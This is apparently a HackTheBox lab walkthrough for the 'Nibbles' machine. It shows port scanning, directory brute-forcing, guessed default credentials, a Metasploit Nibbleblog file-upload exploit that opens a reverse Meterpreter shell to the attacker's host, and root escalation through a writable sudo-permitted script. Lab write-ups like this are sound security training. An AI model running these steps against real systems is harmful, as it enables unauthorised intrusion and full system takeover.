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Hackthebox Nibbles Walkthrough

29 Sep 2019

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Explanation

Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Nibbles”.

Complation: 48th / 131 boxes

Solution

1. Initial Enumeration

TCP Port Scanning:

root@kali:~# nmap -p- 10.10.10.75 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-29 09:43 EEST
Nmap scan report for 10.10.10.75
Host is up (0.039s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.33 seconds

2. Getting User

We have only one port interesting which is 80 (HTTP) and sounds there is nothing here. placeholder

By running curl, we can find an interesting comment on the webpage.

root@kali:~# curl -i http://10.10.10.75
HTTP/1.1 200 OK
Date: Sun, 29 Sep 2019 06:55:53 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77"
Accept-Ranges: bytes
Content-Length: 93
Vary: Accept-Encoding
Content-Type: text/html

<b>Hello world!</b>














<!-- /nibbleblog/ directory. Nothing interesting here! -->

It said there is nothing interesting there. However, it is an interesting website. placeholder

try to gobuster again. In the “README”, we can see that current version of this “Nibbleblog” is “v4.0.3”.

root@kali:~# gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.75/nibbleblog/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2019/09/29 10:20:13 Starting gobuster
===============================================================
/index.php (Status: 200)
/sitemap.php (Status: 200)
/content (Status: 301)
/themes (Status: 301)
/feed.php (Status: 200)
/admin (Status: 301)
/admin.php (Status: 200)
/plugins (Status: 301)
/install.php (Status: 200)
/update.php (Status: 200)
/README (Status: 200)
/languages (Status: 301)
===============================================================
2019/09/29 10:50:00 Finished
===============================================================

Since we had juicy information “Nibbleblog v4.0.3”, try to look for well-known exploit.

root@kali:~# searchsploit nibble
------------------------------------------------------- ----------------------------------------
 Exploit Title                                         |  Path
                                                       | (/usr/share/exploitdb/)
------------------------------------------------------- ----------------------------------------
Nibbleblog 3 - Multiple SQL Injections                 | exploits/php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)  | exploits/php/remote/38489.rb
------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Sounds there is a RCE with metasploit.
However, we need a guessing to figure out what is the credential.
This time, the username is same as default and password is the server name.

admin:nibbles

Then, try to execute RCE with following procedure.

msf5 > search nibble

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability


msf5 > use exploit/multi/http/nibbleblog_file_upload

msf5 exploit(multi/http/nibbleblog_file_upload) > set rhost 10.10.10.75
rhost => 10.10.10.75

msf5 exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin

msf5 exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles

msf5 exploit(multi/http/nibbleblog_file_upload) > set targeturi /nibbleblog
targeturi => /nibbleblog

msf5 exploit(multi/http/nibbleblog_file_upload) > run

[*] Started reverse TCP handler on 10.10.14.30:4444
[*] Sending stage (38247 bytes) to 10.10.10.75
[*] Meterpreter session 1 opened (10.10.14.30:4444 -> 10.10.10.75:37036) at 2019-09-29 11:25:40 +0300
[+] Deleted image.php

meterpreter > getuid
Server username: nibbler (1001)

Now we got a meterpreter shell.
user.txt is in the directory “/home/nibbler”.

meterpreter > ls
Listing: /home/nibbler
======================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  0     fil   2017-12-29 12:29:56 +0200  .bash_history
40775/rwxrwxr-x   4096  dir   2017-12-11 05:04:04 +0200  .nano
100400/r--------  1855  fil   2017-12-11 05:07:21 +0200  personal.zip
100400/r--------  33    fil   2017-12-11 05:35:21 +0200  user.txt

meterpreter > cat user.txt
b02ff32bb332deba49eeaed21152c8d8

3. Getting Root

Currently, we have a meterpreter shell.
To do more enumeration, obtain a full shell like following.

meterpreter > shell
Process 1716 created.
Channel 1 created.

which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
nibbler@Nibbles:/home/nibbler$

By the command “sudo -l”, we can find that nibbler can run “/home/nibbler/personal/stuff/monitor.sh” as sudo with no password.

nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l

sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Then, create the file “/home/nibbler/personal/stuff/monitor.sh” with content to spawn root shell.

nibbler@Nibbles:/home/nibbler$ mkdir -p /home/nibbler/personal/stuff/
mkdir -p /home/nibbler/personal/stuff/
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "sudo su" > monitor.sh
echo "sudo su" > monitor.sh

nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
chmod +x monitor.sh

Finally, execute the “monitor.sh”. It takes time a bit but we can ahieve a root shell.

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
sudo ./monitor.sh

sudo: unable to resolve host Nibbles: Connection timed out
sudo: unable to resolve host Nibbles: Connection timed out
root@Nibbles:/home/nibbler/personal/stuff# id
id
uid=0(root) gid=0(root) groups=0(root)

root.txt is in the directory “/root”.

root@Nibbles:~# cat root.txt
cat root.txt
b6d745c0dfb6457c55591efc898ef88c

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